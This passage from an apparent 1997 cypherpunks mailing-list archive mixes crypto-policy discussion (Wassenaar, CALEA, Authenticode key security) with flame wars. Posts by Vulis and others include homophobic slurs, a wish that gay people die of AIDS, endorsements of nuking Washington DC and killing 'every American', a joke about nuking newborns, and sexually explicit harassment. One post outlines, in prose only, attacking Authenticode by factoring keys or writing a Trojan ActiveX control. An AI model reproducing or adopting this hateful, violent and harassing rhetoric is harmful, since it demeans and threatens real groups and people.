(3) Configure encryption options thru' GUI and
    save to registry. For example, if you don't 
    like IDEA, use something else, like Blowfish.

Find out for yourself "Cryptlib", the most comprehensive 
and yet freely available crypto library.

Ming-Ching
========================================================

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Wed Mar  5 22:12:07 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 5 Mar 1997 22:12:07 -0800 (PST)
Subject: [NOISE] Re: Wassenaar Arrangement
In-Reply-To: <199703060144.KAA27507@ns.barrier-free.co.jp>
Message-ID: <3.0.1.32.19970305220054.0064a6d8@popd.ix.netcom.com>


At 10:30 PM 3/5/97 -0500, Declan McCullagh wrote:
>I've asked a friend at the State Department to send me a copy of the
>Arrangement. I'll forward it if it appears in my inbox.
>
>I also talked a little about the Wassenaar Arrangement, or at least
>Japan's interpretation of it, in a Netly article in late October. Check
>out http://netlynews.com/ in the Politics archive. 

"The Wassenaar Arrangement" ... 
really sounds like the title of a bad Robert Ludlum novel

rather than a "respectable" document a "respectable" government would sign,
much less a quasi-treaty that they want to pretend has legal force...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From toto at sk.sympatico.ca  Wed Mar  5 23:23:15 1997
From: toto at sk.sympatico.ca (Toto)
Date: Wed, 5 Mar 1997 23:23:15 -0800 (PST)
Subject: EU-FBI Wiretap Pact and CALEA (Digital Telephony)
In-Reply-To: <199703060335.TAA23612@mail.pacifier.com>
Message-ID: <331E710E.497D@sk.sympatico.ca>


jim bell wrote:
> 
> At 02:25 AM 3/3/97 -0800, Tim May wrote:
> >So, either the reporters here have it wrong, by implying CALEA and the
> >joint U.S.-U.K. agreeement applies to _e-mail_, or in fact CALEA is being
> >seen as applicable to e-mail. If the latter, then things are in much, much
> >worse shape than many of us feared.
> >
> >If this interpretation is upheld by the courts, we are in a state of war.
> >--Tim May
> 
> Indeed, we are.   Notice also that there appears to be no illusion that
> these kind of bills are being done due to public demand:  News on this
> subject is essentially nil, particularly in the mainstream news media.

  When one begins adding up all of the ways in which the country is 
being regulated and legislated 'outside' of the influence of the voters,
then it becomes apparent that we acually live in a demon-mockracy.
  It makes for great news when some 'little guy' manages to 'slip one
by' Big Brother, but the reality is that the court system is ruled by
money and power.
  As in the example stated above, much of the legislation proffered by
those elected bears little resemblence to issues that are of genuine
concern to the electorate.
  Any issues that the government can't ramrod through using the methods
above become matters of 'National Security'. The 'law of the land' then
ceases to apply, as 'Emergecy Measures' and secretive regulatory
agencies
write the law with no voting and a single stroke of the pen.

  The government even has the power to negate the ability of the
individual
or group to act in their own interest simply by making laws and
regulations
vague and/or complicated enough that it is unfeasible to act simply
because
of the time, energy, and funds required to do so--not to mention the
'risk'
involved.
  Through use of regulatory approval, or witholding of such, the
government
has the ability to influence the fast-moving course of various areas of
technology. Does anyone here want to make large investments in a product
that they 'may or may not' be able to sell?

  This forum has members in all areas of expertise surrounding crypto
issues,
but can anyone state, unequivocally, all of the finer points surrounding
legislation, regulation, etc., in this area? (Even if you think you
'can'
legally do this-or-that, are you going to do so if told by the
government
that you can't and will be subject to prosecution and/or financial
loss?)
   Do you expect for the laws to apply equally to all in areas of major
government interest? Some companies are 'approved' for export, while, on 
very questionable legal basis, others are 'denied' approval.
   Do you expect this type of gladhanded regulatory approach to be any 
different for CypherPunks remailers, versus military Onion Routers? When
some remailer operator is 'set-up' by the Right Reverend G. Stooge on a
pornography bust, or by G.I.Joe on a terrorism bust, do you expect the 
target to be a CypherPunk or a Vice-Admiral?

  The fact of the matter is, the government is fully capable of burying
the facts on any area of interest they wish, under cover of defending us
from the 'bad guys' lurking in the bushes, and once every four years
they
step into the limelight to decide who gets to spend the next four years
passing another mountain of legislation that, inch by inch, eats away
at the rights and freedoms that are theoretically guaranteed by the
Constitution.
  One has to wonder just how many times in history a vote in favor of
restricting the privacy and rights of citizens was gained by trading off 
a vote affecting 'hog futures'.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From toto at sk.sympatico.ca  Wed Mar  5 23:23:19 1997
From: toto at sk.sympatico.ca (Toto)
Date: Wed, 5 Mar 1997 23:23:19 -0800 (PST)
Subject: truth (lack thereof) and the press
In-Reply-To: <199703060402.VAA08949@infowest.com>
Message-ID: <331E5A5D.7E37@sk.sympatico.ca>


Attila T. Hun wrote:

>     WHEN CULTURES COLLIDE
>     By Bob Djurdjevic
> 
>     The Mexican government itself is working to infiltrate and subvert
>     our government.  They are working to grant dual nationality or
>     citizenship to encourage Mexican to become U.S. citizens so they can
>     "vote for Mexican interests" in the United States.

>     The United States is being
>     invaded by Mexico. The intent is to retake the American Southwest and
>     rename it Aztlan. Those who resist are called racist and will are
>     subject to attack.
> 
>     Published in THE WASHINGTON TIMES
>     BOB DJURDJEVIC, August 18, 1996

  Think how much greater the threat would be if the U.S. was actually
run by the voters.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Thu Mar  6 00:25:25 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 6 Mar 1997 00:25:25 -0800 (PST)
Subject: Ming-Ching Tiew's crypto programs
In-Reply-To: <3.0.1.32.19970305215435.0063f538@popd.ix.netcom.com>
Message-ID: <331E7746.56A7@sk.sympatico.ca>


Bill Stewart wrote:
> 
> Ming-Ching Tiew <mctiew at csi.po.my> 
> he's Malaysian, working from Malaysia, but his web page is on a
> US-located free-web-page server.  Some of the code on it is
> marked US-only; other code is world-readable and on a machine in Germany.
 
> Here at which you look for my Win32 File Encryptor
> which uses "Cryptlib" :- 
>   http://www.geocities.com/SiliconValley/Heights/8298
> 
> The program is provided in source and binary. Non-US
> people should follow the re-direct and get it from
> the non-US site.

  This points out the irony of U.S. citizens being second-class
citizens in the world of crytpography.
  Any commie-terrorist who wishes (no reference to Ming-Ching intended),
can post any type of strong or trojan-filled cryptographical product
that he wishes within our borders, and give pointers to where 
it can be obtained from countries where citizens have more freedom than
those in the U.S.
  In actuality, foreign companies and citizens are free to send us email 
touting "Porn-Hider / The Child Molester's Best Friend", based on strong
encryption. We, on the other hand, can be imprisoned and fined for 
making any level of crypto available for people trying to escape the 
wrath of murderous dictators.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html







From nobody at hidden.net  Thu Mar  6 04:21:26 1997
From: nobody at hidden.net (Anonymous)
Date: Thu, 6 Mar 1997 04:21:26 -0800 (PST)
Subject: Secure checksums
Message-ID: <199703061217.EAA27845@jefferson.hidden.net>


Timmy C. Mayhem's abysmal grammar, atrocious spelling and 
feeble responses clearly identify him as a product of the 
American education system.

       >\\\|/<
       |_    ;
       (O) (o)
   -OOO--(_)--OOOo- Timmy C. Mayhem






From whgiii at amaranth.com  Thu Mar  6 05:58:18 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 6 Mar 1997 05:58:18 -0800 (PST)
Subject: Microsoft Authenticode key security
In-Reply-To: <L0c53D131w165w@bwalk.dm.com>
Message-ID: <199703060805.IAA31058@mailhub.amaranth.com>



In <L0c53D131w165w at bwalk.dm.com>, on 03/05/97 at 07:44 PM,
   dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>"Bob Atkinson (Exchange)" <bobatk at EXCHANGE.MICROSOFT.com> writes:

>> Actually, and sort of to the point, no, the keys never actually ever the
>> BBN box, except as part of a backup procedure in which they are
>> extracted in a doubly-encrypted form for which for security reasons you
>> need the manufacturer's help in restoring.
>>
>> To this day, no human or computer other than the box itself knows the

>But do we necessarily believe what Microsoft people say?

>Dimitri "bought OS/2 1.0 from Microsoft" Vulis

:))))))

If Bill Gates got on national TV and told the world that the sky was blue
I'd have go outside and look for myself. Not that this is just more M$
bashing, I wouldn't trust N$, IBM, Novell, HP, DEC, SUN or any other "big
name" hardware/software company that depends on large government contracts.

--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: OS/2: Logic, not magic.






From trei at process.com  Thu Mar  6 07:13:44 1997
From: trei at process.com (Peter Trei)
Date: Thu, 6 Mar 1997 07:13:44 -0800 (PST)
Subject: Microsoft Authenticode key security
Message-ID: <199703061513.HAA13900@toad.com>


William H. Geiger III writes:
> In <L0c53D131w165w at bwalk.dm.com>, on 03/05/97 at 07:44 PM,
>    dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> 
> >"Bob Atkinson (Exchange)" <bobatk at EXCHANGE.MICROSOFT.com> writes:
> 
> >> Actually, and sort of to the point, no, the keys never actually ever the
> >> BBN box, except as part of a backup procedure in which they are
> >> extracted in a doubly-encrypted form for which for security reasons you
> >> need the manufacturer's help in restoring.
> >>
> >> To this day, no human or computer other than the box itself knows the
> 
> >But do we necessarily believe what Microsoft people say?
> 
> If Bill Gates got on national TV and told the world that the sky was blue
> I'd have go outside and look for myself. 

Actually, around Redmond, gray skies are much more common.

Really guys, If you want to attack Authenticode (and I personally 
consider it a bandaid on a dangerous system), then stealing or
buying the key is not the approach to take.

I see two possible approaches to prove it's weakness.

1. If they are using RSA, factor the public key. This depends on it's
length. Considering the amount of cpu people seem to be able to 
muster for distributed cracks, etc, I suspect that 512 bit keys will 
soon be vulnerable (equiv = RSA 155).

2.  Write a Trojan Horse ActiveX control which disables the 
Authenticode checking, then covers it's tracks.

No, I'm not working on either of these.

Peter Trei
trei at process.com

Disclaimer: I speak for myself, not my employer.





From dlv at bwalk.dm.com  Thu Mar  6 07:16:12 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Mar 1997 07:16:12 -0800 (PST)
Subject: Speech
In-Reply-To: <Pine.SUN.3.91.970306011705.12861C-100000@panix.com>
Message-ID: <mo053D137w165w@bwalk.dm.com>


Homosexual Charles Platt <cp at panix.com> writes:
<garbage>
> Dmitri Vulis was kicked off my ISP many months ago for allowing multiple
> logins under his user name and password, presumably so that his friends at
> Brighton Beach could share his account without paying the $10 per month
> for email+Usenet. At the very least, this indicates a certain ... um ...
> lack of class.
<more garbage>

This is a lie with no basis in reality whatsoever.

I'm glad that CHarles Platt and other homosexuals are dying from AIDS.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From real at freenet.edmonton.ab.ca  Thu Mar  6 08:16:22 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 6 Mar 1997 08:16:22 -0800 (PST)
Subject: Master of fellatio
In-Reply-To: <L1343D1w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970306091045.55460A-100000@fn2.freenet.edmonton.ab.ca>






On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Casey Iverson <iverson at usa.net> writes:
> 
> > The rather large mass of Russian dung  a.k.a. Dr.Dimitri Vulis KOTM wrote
> > 
> > >> John Gilmore lied.
> > 
> > Consider the irony of the Russian slime ball master of disinformation
> > (probably trained by the KGB),
> > calling someone *else* a liar.
> > 
> 
> There were plenty of good cryptographers working for the KGB.
> I had the pleasure of meeting a few in persons and communicating
> with many others.
> Filthy lying cocksucker John Gilmore is not worthy to suck their dicks.


Vulis this list is not for sick perverts like you get off it.

> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 






From real at freenet.edmonton.ab.ca  Thu Mar  6 08:21:09 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 6 Mar 1997 08:21:09 -0800 (PST)
Subject: your mail
In-Reply-To: <199703060336.TAA13790@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970306091800.55460B-100000@fn2.freenet.edmonton.ab.ca>




On Wed, 5 Mar 1997, Mix wrote:

> Embedded in Tim C. Maypole's babblings are 
> preposterous lies, wild distortions, child 
> pornography (both as graphic descriptions 
> and in JPEG format), ethnic slurs, and 
> racial epithets.
> 
>       o      o o o   o
>      /~>    <><><>   <> Tim C. Maypole
>   o...(\    ||||||   ||
> 
Vulis keep this crap off the list.






From real at freenet.edmonton.ab.ca  Thu Mar  6 08:29:47 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 6 Mar 1997 08:29:47 -0800 (PST)
Subject: Secure checksums
In-Reply-To: <199703061217.EAA27845@jefferson.hidden.net>
Message-ID: <Pine.A41.3.95.970306092650.55460D-100000@fn2.freenet.edmonton.ab.ca>







On Thu, 6 Mar 1997, Anonymous wrote:

> Timmy C. Mayhem's abysmal grammar, atrocious spelling and 
> feeble responses clearly identify him as a product of the 
> American education system.
> 
>        >\\\|/<
>        |_    ;
>        (O) (o)
>    -OOO--(_)--OOOo- Timmy C. Mayhem
> 

Vulis keep this off the list.







From real at freenet.edmonton.ab.ca  Thu Mar  6 08:31:39 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 6 Mar 1997 08:31:39 -0800 (PST)
Subject: Speech
In-Reply-To: <mo053D137w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970306092856.55460E-100000@fn2.freenet.edmonton.ab.ca>






On Thu, 6 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Homosexual Charles Platt <cp at panix.com> writes:
> <garbage>
> > Dmitri Vulis was kicked off my ISP many months ago for allowing multiple
> > logins under his user name and password, presumably so that his friends at
> > Brighton Beach could share his account without paying the $10 per month
> > for email+Usenet. At the very least, this indicates a certain ... um ...
> > lack of class.
> <more garbage>
> 
> This is a lie with no basis in reality whatsoever.
> 
> I'm glad that CHarles Platt and other homosexuals are dying from AIDS.


Vulis you are a lie stay off the list.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 






From jya at pipeline.com  Thu Mar  6 12:44:42 1997
From: jya at pipeline.com (John Young)
Date: Thu, 6 Mar 1997 12:44:42 -0800 (PST)
Subject: Medical Records Security
Message-ID: <1.5.4.32.19970306203738.006b253c@pop.pipeline.com>


The new "Protecting Electronic Health Information" report by
the National Academy of Sciences is at:

   http://jya.com/pehi.htm  (615K)

There is quite a lot of crypto discussion.

The NY Times featured this report on Page One today.

It's worth reminding that this report and the recent one on
secrecy both fault national encryption policy and emphasize 
that it's time to break the logjam caused by NatSec/LEA
dispute with commerce, and get on with protecting the 
privacy of citizens from government and commerce working 
in cahoots.

Note that commerce is seen as much a threat as government, 
with the looming probablility that government and commerce 
will unite against the citizenry, now as ever, both claiming to
protect from the other, using their phony fight as a camouflage 
for royal screwing rights.







From sunder at brainlink.com  Thu Mar  6 12:52:51 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 6 Mar 1997 12:52:51 -0800 (PST)
Subject: Having the smarts to retire early
In-Reply-To: <ukF53D134w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970306154604.12798I-100000@beast.brainlink.com>


On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> > > I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
> > > I suppose he studies the bounce messages from mailer deamons too.
> > >
> > > WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FRO
> > > ANY MAILING LIST ON HIS TOAD.COM COMPUTER.
> >
> > Vulis keep your pervert voice off the list.
> 
> I'm not sending anything to cypherpunks at toad.com and in fact I don't
> want the lying, thieving cocksucker John Gilmore to redistribute any
> of my writings via any mailing list at toad.com.


Date: Wed, 05 Mar 97 20:34:53 EST From: "Dr.Dimitri Vulis KOTM"
<dlv at bwalk.dm.com> 
To: cypherpunks at toad.com 
 ^^^^^^^
 {Liar! Liar! Beard on Fire!}
Subject: Re: Having the smarts to retire early





=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From dlv at bwalk.dm.com  Thu Mar  6 13:55:36 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Mar 1997 13:55:36 -0800 (PST)
Subject: Purifying Washington with Nuclear Flames
In-Reply-To: <199703060752.HAA30906@mailhub.amaranth.com>
Message-ID: <LTL63D1w165w@bwalk.dm.com>


"William H. Geiger III" <whgiii at amaranth.com> writes:

> In <v03007800af4415448ad4@[207.167.93.63]>, on 03/05/97 at 10:38 PM,
>    "Timothy C. May" <tcmay at got.net> said:
> 
> 
> >At 1:00 AM -0400 3/6/97, E. Allen Smith wrote:
> >>From:	IN%"tcmay at got.net"  "Timothy C. May"  5-MAR-1997 22:59:36.45
> >>
> >>>Too bad your "assassination politics" doesn't extend to entire cities. I
> >>>have concluded that having a terrorist group smuggle a nuke into D.C. woul
> >>>not be altogether a bad thing. Besides dealing with the government problem
> >>>it would also deal with a quarter of a million or more unemployable welfar
> >>>addict leeches.
> >>
> >>	I'm glad you say "altogether"... some of us live (or have friends or
> >>family who live) decidedly too close to D.C. for such to be an attractive
> >>possibility. Besides that, I'm certain there are some innocents in the city
> >>just-born infants, perhaps?
> 
> >War is never clean. Innocents always get caught in the crossfire.
> 
> >If the U.S., for example, had avoided all actions in WW II which might
> >have injured an "innocent" (babies, old women, schoolgirls, and so on...),
> >the war could not have been prosecuted. Now maybe this is one option, one
> >which ardent pacifists prefer, but most of us understand the practical
> >realities that "innocents" often die in wars.
> 
> >Nuking Washington is just a joke, of course. But I wouldn't cry any tears
> >if I woke up one morning, turned on CNN, and was informed that a large
> >crater appeared where D.C. once was.
> 
> I doubt that there would be few that would. :)))
> 
> I have always found the statment of "innocent civilians" to be an odd one
> in a time of war.
> 
> I have always beleived that all citizens held a collective guilt for the
> actions of their government. It is only through the support of the citizens
> can any government opperate wether through active support or through the
> inactivity of not opposing their government. This not only holds true for
> "democracies" for dictatorships as well. As such if the actions of a
> government bring it to war their civilian population is just as fair game
> as their troops in the field.

I wholeheartedly concur.  Nuke Washington, DC.  Kill every American everywhere.
Even if they voted for Perot.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From sunder at brainlink.com  Thu Mar  6 15:47:39 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 6 Mar 1997 15:47:39 -0800 (PST)
Subject: Vebis radio jokes
In-Reply-To: <iFD53D132w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970306184243.12798K@beast.brainlink.com>


On Wed, 5 Mar 1997, Vebis wrote:

> Hmmmm, Tastes like chicken!

Uh huh, huh Vebis, that was like kwel!  Heh heh, heh heh!  Do it again!

So like Vebis, how did it feel to score with a male german sheppard?  I 
bet you swallowed, huh huh, huh, 'cause you said "Tastes like chicken!" 
heh heh, heh heh, heh heh...

> Vebis KOTM
> Vebis and Buttmunch BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From sunder at brainlink.com  Thu Mar  6 15:51:41 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 6 Mar 1997 15:51:41 -0800 (PST)
Subject: Purifying Washington with Nuclear Flames
In-Reply-To: <LTL63D1w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970306185124.12798L-100000@beast.brainlink.com>


On Thu, 6 Mar 1997, Vebis, the KGB terroris wrote:

> I wholeheartedly concur.  Nuke Washington, DC.  Kill every American 
> everywhere.
> Even if they voted for Perot.
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

You buttmunch! Learn some grammar Vebis!


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From toto at sk.sympatico.ca  Thu Mar  6 17:38:48 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 6 Mar 1997 17:38:48 -0800 (PST)
Subject: Microsoft Authenticode key security
In-Reply-To: <199703061513.HAA13900@toad.com>
Message-ID: <331F59E1.1FE7@sk.sympatico.ca>


Peter Trei wrote:
 
> Really guys, If you want to attack Authenticode (and I personally
> consider it a bandaid on a dangerous system), then stealing or
> buying the key is not the approach to take.
> 
> I see two possible approaches to prove it's weakness.
> 
> 1. If they are using RSA, factor the public key. This depends on it's
> length. Considering the amount of cpu people seem to be able to
> muster for distributed cracks, etc, I suspect that 512 bit keys will
> soon be vulnerable (equiv = RSA 155).

  After having done a complete analysis of all the factors involved, 
I have determined that Authenticode could be cracked by the CypherPunks
in less than 72 hours by refraining from using the word 'cocksucker'
in our postings and devoting the saved CPU cycles to the crack.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Thu Mar  6 17:41:18 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 6 Mar 1997 17:41:18 -0800 (PST)
Subject: Secure checksums
In-Reply-To: <Pine.A41.3.95.970306092650.55460D-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <331F5E1A.6356@sk.sympatico.ca>


Graham-John Bullers wrote:
> 
> On Thu, 6 Mar 1997, Anonymous wrote:
> 
> > Timmy C. Mayhem's abysmal grammar, atrocious spelling and
> > feeble responses clearly identify him as a product of the
> > American education system.
> >
> >        >\\\|/<
> >        |_    ;
> >        (O) (o)
> >    -OOO--(_)--OOOo- Timmy C. Mayhem
> >
> 
> Vulis keep this off the list.

  The headers I received with this don't show it as coming from Vulis.
You are obviously better informed. Please forward the headers you 
received so that we can confront him about it together.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Thu Mar  6 17:42:19 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 6 Mar 1997 17:42:19 -0800 (PST)
Subject: Having the smarts to retire early
In-Reply-To: <Pine.SUN.3.91.970306154604.12798I-100000@beast.brainlink.com>
Message-ID: <331F6802.4A7A@sk.sympatico.ca>


Ray Arachelian wrote:
 
> Date: Wed, 05 Mar 97 20:34:53 EST From: "Dr.Dimitri Vulis KOTM"
> <dlv at bwalk.dm.com>
> To: cypherpunks at toad.com
>  ^^^^^^^
>  {Liar! Liar! Beard on Fire!}
> Subject: Re: Having the smarts to retire early

Ray,
  No fair, using facts to prove your point.
  Don't you have a vague, illogical conspiracy theory you could offer
to prove your point, instead?
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html







From toto at sk.sympatico.ca  Thu Mar  6 18:01:08 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 6 Mar 1997 18:01:08 -0800 (PST)
Subject: your mail
In-Reply-To: <Pine.A41.3.95.970306091800.55460B-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <331F5D49.2A83@sk.sympatico.ca>


Graham-John Bullers wrote:
> 
> On Wed, 5 Mar 1997, Mix wrote:
> 
> > Embedded in Tim C. Maypole's babblings are
> > preposterous lies, wild distortions, child
> > pornography (both as graphic descriptions
> > and in JPEG format), ethnic slurs, and
> > racial epithets.
> >
> >       o      o o o   o
> >      /~>    <><><>   <> Tim C. Maypole
> >   o...(\    ||||||   ||
> >
> Vulis keep this crap off the list.

  Sending another 20 or 30 posts, quoting it in full, and telling people
to keep this crap off of the list, should ensure that it will, indeed,
be kept off the list.
  It might also be a good idea to follow up with another 20 or 30 posts
next week, quoting it in full, to ensure that this crap remains off the
list.
  It's amazing that no one has thought of this approach before.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html







From sunder at brainlink.com  Thu Mar  6 18:44:31 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 6 Mar 1997 18:44:31 -0800 (PST)
Subject: Having the smarts to retire early
In-Reply-To: <331F6802.4A7A@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970306214601.4865A-100000@beast.brainlink.com>


On Thu, 6 Mar 1997, Toto wrote:

> Ray Arachelian wrote:
>  
> > Date: Wed, 05 Mar 97 20:34:53 EST From: "Dr.Dimitri Vulis KOTM"
> > <dlv at bwalk.dm.com>
> > To: cypherpunks at toad.com
> >  ^^^^^^^
> >  {Liar! Liar! Beard on Fire!}
> > Subject: Re: Having the smarts to retire early
> 
> Ray,
>   No fair, using facts to prove your point.
>   Don't you have a vague, illogical conspiracy theory you could offer
> to prove your point, instead?

Oh, okay, um... Vulis can't chew and rub his belly at the same time to 
save his own life. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From trevorg at dhp.com  Thu Mar  6 18:55:13 1997
From: trevorg at dhp.com (Trevor Goodchild)
Date: Thu, 6 Mar 1997 18:55:13 -0800 (PST)
Subject: Speech
Message-ID: <Pine.LNX.3.95.970306215208.28533A-100000@dhp.com>


On Thu, 6 Mar 1997, Dr.Dimitri Vulis KOTM wrote: 

> Homosexual Charles Platt <cp at panix.com> writes:  
> <garbage> 
> > Dmitri Vulis was kicked off my ISP many months ago for allowing
> > multiple logins under his user name and password, presumably so t
> > that his friends at Brighton Beach could share his account without
> > paying the $10 per month for email+Usenet. At the very least, this
> >indicates a certain... um ...  lack of class. 
>
> <more garbage> 
>  
> This isa lie with no basis in reality whatsoever. 
> 
> I'm glad that CHarles Platt and other homosexuals are dying from AIDS.  
> 
> --- 
> 
> Dr.Dimitri Vulis KOTM 
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,14.4Kbp


Oh, my dear Doctor, I do regret that I have forgotten to inform you that
last year, shortly after our sweet night together where you gave such good
head and let me inside your sweet, though untight ass, that I have tested
HIV positive.

I hope this doesn't inconvenience you much, and send my regards to your
sweet wife, whom I remember having a much tighter anus than your own - no
offense, but she is much tighter.  I hope this doesn't influence your
feelings about me, and I hope that next time you drop by my home in Fire
Island that you bring her along to share our bed.

Oh, and next time I want you to stay the whole weekend; one night stands
are fun, but waking up in an empty bed is not my idea of a good lay.

With love,
 -- Trevor.



---
 Trevor Goodchild






From toto at sk.sympatico.ca  Thu Mar  6 18:59:49 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 6 Mar 1997 18:59:49 -0800 (PST)
Subject: Purifying Washington with Nuclear Flames
In-Reply-To: <LTL63D1w165w@bwalk.dm.com>
Message-ID: <331F70CF.2403@sk.sympatico.ca>


Dr.Dimitri Vulis KOTM wrote:
> > >>>Too bad your "assassination politics" doesn't extend to entire cities. I
> > >>>have concluded that having a terrorist group smuggle a nuke into D.C. woul
> > >>>not be altogether a bad thing. Besides dealing with the government problem
> > >>>it would also deal with a quarter of a million or more unemployable welfar
> > >>>addict leeches.
> > >>
> > >>    I'm glad you say "altogether"... some of us live (or have friends or
> > >>family who live) decidedly too close to D.C. for such to be an attractive
> > >>possibility. Besides that, I'm certain there are some innocents in the city
> > >>just-born infants, perhaps?

> I wholeheartedly concur.  Nuke Washington, DC.  Kill every American everywhere.
> Even if they voted for Perot.

  If we can abort a fetus who is afflicted with a plethora of genetic
deformities,
in order to spare them a short life of wretched pain, then I think a
good case 
could be made that nuking new-borns in D.C. is a humanitarian gesture.
  Perhaps if our legislators passed a Bill requiring coathangers to be
provided
along with the free condoms handed out in D.C., (just in case)...
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html







From cmm at engr.LaTech.edu  Thu Mar  6 19:00:20 1997
From: cmm at engr.LaTech.edu (Chris Melancon)
Date: Thu, 6 Mar 1997 19:00:20 -0800 (PST)
Subject: your mail
In-Reply-To: <331F5D49.2A83@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970306205820.609E-100000@aurora>


On Thu, 6 Mar 1997, Toto wrote:

> Graham-John Bullers wrote:
> > 
> > On Wed, 5 Mar 1997, Mix wrote:
